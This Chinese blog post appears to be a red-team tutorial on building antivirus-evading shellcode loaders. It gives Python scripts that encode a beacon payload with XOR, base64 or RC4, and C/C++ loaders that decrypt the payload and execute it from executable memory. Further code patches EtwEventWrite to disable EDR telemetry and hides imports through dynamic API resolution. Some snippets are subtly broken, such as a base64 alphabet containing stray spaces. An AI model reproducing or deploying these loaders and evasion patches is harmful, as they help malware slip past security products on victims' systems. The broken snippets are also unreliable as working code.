红队免杀样本编写——对shellcode处理、免杀逃逸效果

目录

  • shellcode处理篇
    • c语⾔数组
    • xor加密
      • 数字型异或
        • 异或编码
        • 解密执行
      • 字符型异或
        • 异或编码
        • 解密执⾏
    • base64编码
      • 编码
      • 解密执⾏
    • RC4加密
      • 常规rc4
        • 加密转换
        • 解密执⾏
      • base64+rc4
        • 加密转换
        • 解密执⾏
  • 免杀逃逸效果
    • patch etw
    • 函数导⼊表隐藏

shellcode处理篇

c语⾔数组

使用python,将bin文件处理成C语言数组

def read_binary_file(filename):with open(filename, "rb") as file:return file.read()def generate_c_array(data): nop = "\t0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,"c_array = ""for i, byte in enumerate(data):if i % 100 == 0:c_array += "\n"c_array += "\t"c_array += f"0x{byte:02X}, "c_array = c_array.rstrip(", ") # 移除最后⼀个逗号和空格return "{"+nop+c_array+"\n};"def main():# 读取⼆进制⽂件filename = "beacon.bin"binary_data = read_binary_file(filename)# ⽣成C格式的数组c_array = generate_c_array(binary_data)# 将结果输出到⽂件output_filename = "res.txt"with open(output_filename, "w") as file:file.write(c_array)if __name__ == "__main__":main()

xor加密

数字型异或

异或编码
def read_binary_file(filename):with open(filename, "rb") as file:return file.read()def xor_data(data, key):return bytes(byte ^ key for byte in data)def generate_c_array(data):nop = "\t0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,"c_array = nop + "\n\t"for i, byte in enumerate(data):if i % 100 == 0 and i != 0:c_array += "\n\t"c_array += f"0x{byte:02X}, "c_array = c_array.rstrip(", ")  # 移除最后一个逗号和空格return "{" + c_array + "\n};"def main():# 读取⼆进制⽂件filename = "beacon.bin"binary_data = read_binary_file(filename)# 异或处理数据xor_key = 77xor_result = xor_data(binary_data, xor_key)# ⽣成C格式的数组c_array = generate_c_array(xor_result)# 将结果输出到⽂件output_filename = "res.txt"with open(output_filename, "w") as file:file.write(c_array)if __name__ == "__main__":main()
解密执行
#include <Windows.h>// 异或解密函数的实现
void xorDecrypt(unsigned char* data, size_t size, unsigned char key)
{for (size_t i = 0; i < size; ++i)
{data[i] ^= key;}}int main()
{// 加密的Shellcodeunsigned char encryptedShellcode[] = { 0xdd };// 计算Shellcode的⼤⼩size_t shellcodeSize = sizeof(encryptedShellcode) - 1; // 减去字符串结尾的空字符// 解密ShellcodexorDecrypt(encryptedShellcode, shellcodeSize, 77);// 分配可执⾏内存HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);PVOID pShellcode = HeapAlloc(hHeap, 0, shellcodeSize);RtlCopyMemory(pShellcode, encryptedShellcode, shellcodeSize);// 创建线程执⾏ShellcodeDWORD dwThreadId = 0;HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);WaitForSingleObject(hThread, INFINITE);// 清理资源HeapFree(hHeap, 0, pShellcode);CloseHandle(hThread);HeapDestroy(hHeap);return 0;
}

字符型异或

异或编码

def read_binary_file(filename):with open(filename, "rb") as file:return file.read()
def xor_data(data, key):key_length = len(key)return bytes(byte ^ key[i % key_length] for i, byte in enumerate(data)
)
def generate_c_array(data):c_array = ""for i, byte in enumerate(data):if i % 100 == 0:c_array += "\n"c_array += "\t"c_array += f"0x{byte:02X}, "c_array = c_array.rstrip(", ") # 移除最后⼀个逗号和空格return "{"+c_array+"\n};"def main():# 读取⼆进制⽂件filename = "beacon.bin"binary_data = read_binary_file(filename)# 异或处理数据xor_key = "baidu"xor_result = xor_data(binary_data, xor_key.encode())# ⽣成C格式的数组c_array = generate_c_array(xor_result)# 将结果输出到⽂件output_filename = "res.txt"with open(output_filename, "w") as file:file.write(c_array)
if __name__ == "__main__":main()
解密执⾏
#include <Windows.h>
// 异或解密函数的实现
void xorDecrypt(unsigned char* data, size_t size, const char* key){size_t keyLength = strlen(key);for (size_t i = 0; i < size; ++i){data[i] ^= key[i % keyLength];}
}int main()
{// 加密的Shellcodeunsigned char encryptedShellcode[] = "xxx"; // 加密的Shellcode// 计算Shellcode的⼤⼩size_t shellcodeSize = sizeof(encryptedShellcode) - 1; // 减去字符串结尾的空字符// 解密Shellcodeconst char* xorKey = "baidu";xorDecrypt(encryptedShellcode, shellcodeSize, xorKey);// 分配可执⾏内存HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);PVOID pShellcode = HeapAlloc(hHeap, 0, shellcodeSize);RtlCopyMemory(pShellcode, encryptedShellcode, shellcodeSize);// 创建线程执⾏ShellcodeDWORD dwThreadId = 0;HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);WaitForSingleObject(hThread, INFINITE);// 清理资源HeapFree(hHeap, 0, pShellcode);CloseHandle(hThread);HeapDestroy(hHeap);return 0;
}

base64编码

编码

import base64def read_binary_file(filename):with open(filename, "rb") as file:return file.read()def base64_encode(data):encoded_data = base64.b64encode(data)return encoded_data.decode("utf-8")def generate_c_array(data):c_array = ""for i, char in enumerate(data):if i % 100 == 0:c_array += "\n"c_array += "\t"c_array += f"0x{ord(char):02X}, "c_array = c_array.rstrip(", ")  # 移除最后⼀个逗号和空格return "{" + c_array + "\n};"def main():# 读取⼆进制⽂件filename = "beacon.bin"binary_data = read_binary_file(filename)# Base64编码处理数据encoded_data = base64_encode(binary_data)# ⽣成C格式的数组c_array = generate_c_array(encoded_data)# 将结果输出到⽂件output_filename = "res.txt"with open(output_filename, "w") as file:file.write(c_array)if __name__ == "__main__":main()

解密执⾏

#include <Windows.h>
#include <string>
#include <vector>
#include <iostream>
#include <algorithm>
#include <iterator>
#include <sstream>
#include <iomanip>
#include <stdexcept>// 解码Base64函数的实现
std::vector<unsigned char> base64Decode(const std::string& encodedData)
{static const std::string base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 + / ";size_t encodedLength = encodedData.size();if (encodedLength % 4 != 0)
{throw std::invalid_argument("Invalid Base64 encoded string.");}size_t padding = 0;if (encodedLength > 0 && encodedData[encodedLength - 1] == '=')
{padding++;if (encodedData[encodedLength - 2] == '=')
{padding++;}}size_t decodedLength = (encodedLength * 3) / 4 - padding;std::vector<unsigned char> decodedData(decodedLength, 0);for (size_t i = 0, j = 0; i < encodedLength;)
{uint32_t sextet_a = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_b = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_c = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_d = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t triple = (sextet_a << 18) | (sextet_b << 12) | (sextet_c<< 6) | sextet_d;if (j < decodedLength)
{decodedData[j++] = (triple >> 16) & 0xFF;}if (j < decodedLength)
{decodedData[j++] = (triple >> 8) & 0xFF;}if (j < decodedLength)
{decodedData[j++] = triple & 0xFF;}}return decodedData;
}int main()
{// Base64编码的Shellcodestd::string encodedShellcode = "xxx"; // Base64编码的Shellcode// Base64解码Shellcodestd::vector<unsigned char> decodedShellcode = base64Decode(encodedShellcode);// 分配可执⾏内存HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);PVOID pShellcode = HeapAlloc(hHeap, 0, decodedShellcode.size());RtlCopyMemory(pShellcode, decodedShellcode.data(), decodedShellcode.size());// 创建线程执⾏ShellcodeDWORD dwThreadId = 0;HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);WaitForSingleObject(hThread, INFINITE);// 清理资源HeapFree(hHeap, 0, pShellcode);CloseHandle(hThread);HeapDestroy(hHeap);return 0;
}

RC4加密

常规rc4

加密转换
from Crypto.Cipher import ARC4def encrypt_rc4(key, data):cipher = ARC4.new(key)encrypted_data = cipher.encrypt(data)return encrypted_datadef generate_c_array(data):c_array = ""for i, byte in enumerate(data):if i % 100 == 0 and i != 0:c_array += "\n"c_array += "\t"c_array += f"{hex(byte)}, "return "{\t" + c_array.rstrip(", ") + "\n};"def write_to_file(filename, content):with open(filename, "w") as file:file.write(content)# 读取文件
with open("beacon.bin", "rb") as file:beacon_data = file.read()def main():# RC4加密key = b"YourKey"encrypted_data = encrypt_rc4(key, beacon_data)# 生成C格式数组c_array = generate_c_array(encrypted_data)# 写入文件write_to_file("res.txt", c_array)if __name__ == "__main__":main()
解密执⾏
main.cpp
#include <Windows.h>
#include "rc4.h"int main() {char key[] = "YourKey";unsigned char encrypted_shellcode[] = "encrypted_shellcode";int encrypted_shellcode_len = sizeof(encrypted_shellcode) - 1;unsigned char S[N] = { 0 };KSA(key, S);PRGA(S, reinterpret_cast<char*>(encrypted_shellcode), encrypted_shellcode_len);HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);PVOID Mptr = HeapAlloc(hHeap, 0, encrypted_shellcode_len);RtlCopyMemory(Mptr, encrypted_shellcode, encrypted_shellcode_len);DWORD dwThreadId = 0;HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);WaitForSingleObject(hThread, INFINITE);return 0;
}
rc4.cpp
#pragma once#define N 256 // 2^8static void swap(unsigned char* a, unsigned char* b) {unsigned char tmp = *a;*a = *b;*b = tmp;
}static int KSA(char* key, unsigned char* S) {int len = strlen(key);unsigned int j = 0;for (int i = 0; i < N; i++) {S[i] = i;}for (int i = 0; i < N; i++) {j = (j + S[i] + key[i % len]) % N;swap(&S[i], &S[j]);}return 0;
}static int PRGA(unsigned char* S, char* plaintext, int plainTextSize) {int i = 0;int j = 0;for (size_t n = 0; n < plainTextSize; n++) {i = (i + 1) % N;j = (j + S[i]) % N;swap(&S[i], &S[j]);int rnd = S[(S[i] + S[j]) % N];plaintext[n] ^= rnd;}return 0;
}// 使用案例
/*
static int RC4(char* key, char* plaintext, int plainTextSize) {unsigned char S[N] = { 0 };KSA(key, S);PRGA(S, plaintext, plainTextSize);return 0;
}
*/

base64+rc4

加密转换
from Crypto.Cipher import ARC4
import base64def read_binary_file(filename):with open(filename, "rb") as file:return file.read()def encrypt_rc4(key, data):cipher = ARC4.new(key)return cipher.encrypt(data)def base64_encode(data):return base64.b64encode(data).decode("utf-8")def generate_c_array(data):c_array = ""for i, char in enumerate(data):if i % 100 == 0 and i > 0:c_array += "\n\t"c_array += f"0x{ord(char):02X}, "return "{" + c_array.rstrip(", ") + "\n};"def main():filename = "beacon.bin"binary_data = read_binary_file(filename)# RC4加密key = b"YourKey"encrypted_data = encrypt_rc4(key, binary_data)# Base64编码处理数据encoded_data = base64_encode(encrypted_data)c_array = generate_c_array(encoded_data)# 将结果输出到文件output_filename = "res.txt"with open(output_filename, "w") as file:file.write(c_array)if __name__ == '__main__':main()
解密执⾏
rc4.h 
#pragma once#include <string.h>#define N 256 // 2^8static void swap(unsigned char* a, unsigned char* b) {unsigned char tmp = *a;*a = *b;*b = tmp;
}static void KSA(const char* key, unsigned char* S) {int len = strlen(key);unsigned int j = 0;for (int i = 0; i < N; i++) {S[i] = i;}for (int i = 0; i < N; i++) {j = (j + S[i] + key[i % len]) % N;swap(&S[i], &S[j]);}
}static void PRGA(unsigned char* S, unsigned char* plaintext, int plainTextSize) {int i = 0, j = 0;for (int n = 0; n < plainTextSize; n++) {i = (i + 1) % N;j = (j + S[i]) % N;swap(&S[i], &S[j]);int rnd = S[(S[i] + S[j]) % N];plaintext[n] ^= rnd;}
}// 使用案例
/*
static void RC4(const char* key, unsigned char* plaintext, int plainTextSize) {unsigned char S[N] = { 0 };KSA(key, S);PRGA(S, plaintext, plainTextSize);
}
*/
base64.h 
#include <Windows.h>
#include <iostream>
#include <vector>
#include <stdexcept>// 解码Base64函数的实现
std::vector<unsigned char> base64Decode(const std::string& encodedData) {static const std::string base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";size_t encodedLength = encodedData.size();if (encodedLength % 4 != 0) {throw std::invalid_argument("Invalid Base64 encoded string.");}size_t padding = 0;if (encodedLength > 0 && encodedData[encodedLength - 1] == '=') {padding++;if (encodedData[encodedLength - 2] == '=') {padding++;}}size_t decodedLength = (encodedLength * 3) / 4 - padding;std::vector<unsigned char> decodedData(decodedLength, 0);for (size_t i = 0, j = 0; i < encodedLength;) {uint32_t sextet_a = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_b = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_c = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_d = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t triple = (sextet_a << 18) | (sextet_b << 12) | (sextet_c << 6) | sextet_d;if (j < decodedLength) decodedData[j++] = (triple >> 16) & 0xFF;if (j < decodedLength) decodedData[j++] = (triple >> 8) & 0xFF;if (j < decodedLength) decodedData[j++] = triple & 0xFF;}return decodedData;
}
main.cpp
#include <Windows.h>
#include <string>
#include <vector>
#include "rc4.h"
#include "base64.h"int main() {// Base64编码的Shellcodestd::string encodedShellcode = {0x72, 0x39, 0x66, 0x63, 0x73, 0x34};// Base64解码Shellcodestd::vector<unsigned char> decodedShellcode = base64Decode(encodedShellcode);char key[] = "YourKey";unsigned char S[N] = {0};KSA(key, S);PRGA(S, reinterpret_cast<char*>(decodedShellcode.data()), decodedShellcode.size());HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);PVOID Mptr = HeapAlloc(hHeap, 0, decodedShellcode.size());RtlCopyMemory(Mptr, decodedShellcode.data(), decodedShellcode.size());DWORD dwThreadId = 0;HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);WaitForSingleObject(hThread, INFINITE);return 0;
}

免杀逃逸效果

patch etw

Windows 事件跟踪 (ETW) 是⼀项内置功能,最初设计⽤于执⾏软件诊断,如今 ETW 被EDR⼚商⼴泛
使⽤。对 ETW 的攻击会使依赖 ETW 遥测的⼀整类安全解决⽅案失效。
ETW指Windows事件追踪,是很多安全产品使⽤的windows功能。
其部分功能位于ntdll.dll中,可以修改内存中的etw相关函数达到禁⽌⽇志输出的效果,最常⻅的⽅法是
修改EtwEventWrite函数。

#include <windows.h>
#include <stdio.h>
#include <iostream>using namespace std;typedef void* (*tNtVirtual)(HANDLE ProcessHandle, IN OUT PVOID* BaseAddress,IN OUT PSIZE_T NumberOfBytesToProtect,IN ULONG NewAccessProtection,OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;void patchETW() {unsigned char patch[] = {0x48, 0x33, 0xc0, 0xc3}; // xor rax, rax; retULONG oldprotect = 0;size_t size = sizeof(patch);HANDLE hCurrentProc = GetCurrentProcess();unsigned char sEtwEventWrite[] = "EtwEventWrite";void* pEventWrite = GetProcAddress(GetModuleHandle(L"ntdll.dll"), (LPCSTR)sEtwEventWrite);if (pEventWrite == NULL) {cout << "Error: Unable to get EtwEventWrite address" << endl;return;}printf("NTDLL.DLL START ADDRESS: %08x\n", (DWORD)GetModuleHandle(L"ntdll.dll"));FARPROC farProc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtProtectVirtualMemory");if (farProc == NULL) {cout << "Error: Unable to get NtProtectVirtualMemory address" << endl;return;}printf("NtProtectVirtualMemory ADDRESS: %08x\n", (DWORD)farProc);oNtVirtual = (tNtVirtual)farProc;oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);memcpy(pEventWrite, patch, sizeof(patch));oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);FlushInstructionCache(hCurrentProc, pEventWrite, size);
}int main() {patchETW();unsigned char ShellCode[] = ""; // Add your shellcode herevoid* exec = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(exec, ShellCode, sizeof(ShellCode));((void(*)())exec)();return 0;
}

函数导⼊表隐藏

Import Address Table
在PE结构中,存在⼀个导⼊表,导⼊表中声明了这个PE⽂件会载⼊哪些模块,同时每个模块的结构中⼜
会指向模块中的⼀些函数名称。
这样的组织关系是为了告诉操作系统这些函数的地址在哪⾥,⽅便修正调⽤地址。
由于导⼊函数就是被程序调⽤但其执⾏代码⼜不在程序中的函数,这些函数的代码位于⼀个或者多个
DLL中。
当PE⽂件被装⼊内存的时候,Windows装载器才将DLL装⼊,并将调⽤导⼊函数的指令和函数实际所处
的地址联系起来(动态连接),这操作就需要导⼊表完成。
其中导⼊地址表就指示函数实际地址。

#include <Windows.h>
#include <intrin.h>
#include <stdio.h>typedef LPVOID(WINAPI* ImportVirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect
);typedef HANDLE(WINAPI* ImportCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId
);typedef BOOL(WINAPI* ImportVirtualProtect)(LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,LPDWORD lpflOldProtect
);typedef DWORD(WINAPI* ImportWaitForSingleObject)(HANDLE hHandle,DWORD dwMilliseconds
);int main() {ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");int shellcode_size = 0; // Shellcode lengthDWORD dwThreadId; // Thread IDHANDLE hThread; // Thread handleDWORD dwOldProtect; // Memory page attributeschar buf[] = ""; // Placeholder for shellcode// Get shellcode sizeshellcode_size = sizeof(buf);// XOR the shellcodefor (int i = 0; i < shellcode_size; i++) {_InterlockedXor8(buf + i, 10);}char* shellcode = (char*)MyVirtualAlloc(NULL,shellcode_size,MEM_COMMIT,PAGE_READWRITE // Allocate readable and writable);// Copy shellcode to allocated memoryCopyMemory(shellcode, buf, shellcode_size);// Change memory attributes to executableMyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);hThread = MyCreateThread(NULL, // Security attributesNULL, // Stack size(LPTHREAD_START_ROUTINE)shellcode, // FunctionNULL, // ParameterNULL, // Thread flags&dwThreadId // Thread ID);MyWaitForSingleObject(hThread, INFINITE); // Wait for thread to finishreturn 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1541715.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

10分钟一条童装走秀爆款Ai视频,小白轻松上手,新蓝海赛道,竞争小机会多!

今天我要给大家带来一个超级有趣的项目——童装走秀AI视频制作。 这不仅是一个充满创意的项目&#xff0c;而且操作简单&#xff0c;即使是视频制作的新手也能轻松上手。 更重要的是&#xff0c;这个项目竞争小&#xff0c;变现机会多&#xff0c;是进入新蓝海赛道的绝佳机会…

C++类之set与get理解

在类中&#xff0c;我们尝尝将一些变量设置为private或者protect里面&#xff0c;而我们经常会遇到在主函数&#xff08;main.cpp&#xff09;使用到这些private变量&#xff0c;而往往我们会下意识地在主函数直接调用在private里面的变量&#xff0c;但现实比较残酷&#xff0…

【linux】nice命令

Linux中的nice命令是一个强大的工具&#xff0c;用于调整进程的优先级&#xff0c;进而影响它们在CPU上的资源分配和执行顺序。以下是关于nice命令的详细解释&#xff0c;包括其用途、语法、参数、示例以及使用建议。 一、用途 nice命令主要用于控制进程在CPU上的调度优先级&…

K8S介绍+集群部署

Kubernetes介绍 官网&#xff1a;https://kubernetes.io/ 一、应用部署方式演变 1、传统部署&#xff1a;互联网早期&#xff0c;会直接将应用程序部署在物理机上 优点&#xff1a;简单&#xff0c;不需要其他技术的参与 缺点&#xff1a;不能为应用程序定义资源使用边界&a…

【论文笔记】BEVNeXt: Reviving Dense BEV Frameworks for 3D Object Detection

原文链接&#xff1a;https://arxiv.org/pdf/2312.01696 简介&#xff1a;最近&#xff0c;在摄像头3D目标检测任务中&#xff0c;基于查询的Transformer解码器正在超越传统密集BEV方法。但密集BEV框架有着更好的深度估计和目标定位能力&#xff0c;能全面精确地描绘3D场景。本…

初始网络编程(下)

所属专栏&#xff1a;Java学习 1. TCP 的简单示例 同时&#xff0c;由于 TCP 是面向字节流的传输&#xff0c;所以说传输的基本单位是字节&#xff0c;接受发送都是使用的字节流 方法签名 方法说明 Socket accept() 开始监听指定端口&#xff08;创建时绑定的端口&…

Navicat导入Sql文件至Mysql数据库,事务失效

Mysql 版本&#xff1a;8.0.39 Navicat 版本&#xff1a;17.x、16.x 结论&#xff1a; Navicat 导入sql文件&#xff0c;事务不会生效&#xff0c;无论怎么设置 mysql.exe 导入sql文件&#xff0c;事务生效 测试 准备一张表 name约束不能为空&#xff0c;用于测试事务失败…

SpringBoot 整合 Caffeine 实现本地缓存

目录 1、Caffeine 简介1.1、Caffeine 简介1.2、对比 Guava cache 的性能主要优化项1.3、常见的缓存淘汰算法1.4、SpringBoot 集成 Caffeine 两种方式 2、SpringBoot 集成 Caffeine 方式一2.1、缓存加载策略2.1.1、手动加载2.1.2、自动加载【Loading Cache】2.1.3、异步加载【As…

7、论等保的必要性

数据来源&#xff1a;7.论等保的必要性_哔哩哔哩_bilibili 等级保护必要性 降低信息安全风险 等级保护旨在降低信息安全风险&#xff0c;提高信息系统的安全防护能力。 风险发现与整改 开展等级保护的最重要原因是通过测评工作&#xff0c;发现单位系统内外部的安全风险和脆弱…

Linux启动流程,0,1,2进程,init进程,idle进程,内核态到用户态的kernel_execve(一)

&#xff1f;是&#xff0c;如果定义了&#xff0c;就按Makefile的&#xff0c;如果如下make编译时&#xff0c;就按如下 linux内核入口 进程0在用户空间看不到&#xff0c;因为他是内核进程 进程2就是守护进程&#xff0c;维护内涵运转的 一生二&#xff0c;二生三&#xff…

Navicate 链接Oracle 提示 Oracle Library is not loaded ,账号密码都正确地址端口也对

Navicate 链接Oracle 提示 Oracle Library is not loaded ,账号密码都正确地址端口也对的问题 解决办法 出现 Oracle Library is not loaded 错误提示&#xff0c;通常是因为 Navicat 无法找到或加载 Oracle 客户端库&#xff08;OCI.dll&#xff09;。要解决这个问题&#x…

IntelliJ IDEA 2024.1.4 (Ultimate Edition)找不到Add Framework Support解决方法

目录 背景: 解决方法&#xff1a; 步骤1: 步骤2&#xff1a; 步骤3&#xff1a; 创建Web项目的完整流程&#xff1a; 步骤1: 步骤2: 步骤3&#xff1a; 步骤4&#xff1a; Web优点: 背景: 我的IDE版本是IntelliJ IDEA 2024.1.4 (Ultimate Edition)&#xff0c;当我…

Java调用数据库 笔记05(查询篇)

一. 数据库&#xff08;通过各种驱动来实现调用&#xff09;&#xff1a; &#xff08;应用程序通过接口控制的各种数据库驱动来调用数据库-->jdbc方法&#xff09; 1.创建Java的普通class类 2.加载驱动 Class.forName("com.mysql.jdbc.Driver"); 3.驱动管理类…

nginx upstream转发连接错误情况研究

本次测试用到3台服务器&#xff1a; 192.168.10.115&#xff1a;转发服务器A 192.168.10.209&#xff1a;upstream下服务器1 192.168.10.210&#xff1a;upstream下服务器2 1台客户端&#xff1a;192.168.10.112 服务器A中nginx主要配置如下&#xff1a; log_format main…

C++之职工管理系统(细节Q)

指针初始化类 && 普通变量初始化类 抽象基类worker&#xff0c;只需编写 .h &#xff0c;无需 .cpp 底层实现 类 记得声明权限public&#xff01;&#xff01;&#xff01;不然默认private&#xff0c;主函数访问不了 记得继承父类 Worker * worker&#xff1a;指向Wo…

山东潍坊戴尔存储服务器维修 md3800f raid恢复

山东戴尔存储故障维修 存储型号&#xff1a;DELL PowerVault md3800f 故障问题&#xff1a;存储除尘后通电开机&#xff0c;发现有物理硬盘没有插到位&#xff0c;用户带电拔插了多块物理盘&#xff0c;导致关连的磁盘阵列掉线&#xff0c;卷失败&#xff1b; 处理方式&#xf…

RK3588/RK3588s运行yolov8达到27ms

前言 Hello&#xff0c;小伙伴们~~我最近做了一个比较有意思的东西&#xff0c;想起来也好久没有写博客了&#xff0c;就记录一下吧。希望和大家一起学习&#xff0c;一起进步&#xff01; 我简单介绍一下我最近做的这个东西的经过哈~上个月在B站上看到了一个博主发了一条视频关…

TomCat乱码问题

TomCat控制台乱码问题 乱码问题解决&#xff1a; 响应乱码问题 向客户端响应数据&#xff1a; package Servlet;import jakarta.servlet.ServletException; import jakarta.servlet.annotation.WebServlet; import jakarta.servlet.http.HttpServlet; import jakarta.servl…

对 Python 中 GIL 的理解

一.Python 中的 GIL Python 中的全局解释器锁&#xff08;Global Interpreter Lock&#xff0c;GIL&#xff09;是 CPython 解释器的一个机制&#xff0c;用来确保在多线程环境下&#xff0c;只有一个线程可以执行 Python 字节码&#xff0c;任何时刻只能有一个线程在执行 Pyt…

低代码可视化工具-uniapp页面跳转传参-代码生成器

uniapp页面跳转传参 在uni-app中&#xff0c;页面间的跳转和传参是一个常见的需求。uni-app提供了多种页面跳转方式&#xff0c;如uni.navigateTo、uni.redirectTo、uni.reLaunch、uni.switchTab、uni.navigateBack等&#xff0c;每种方式适用于不同的场景。以 页面跳转并传参…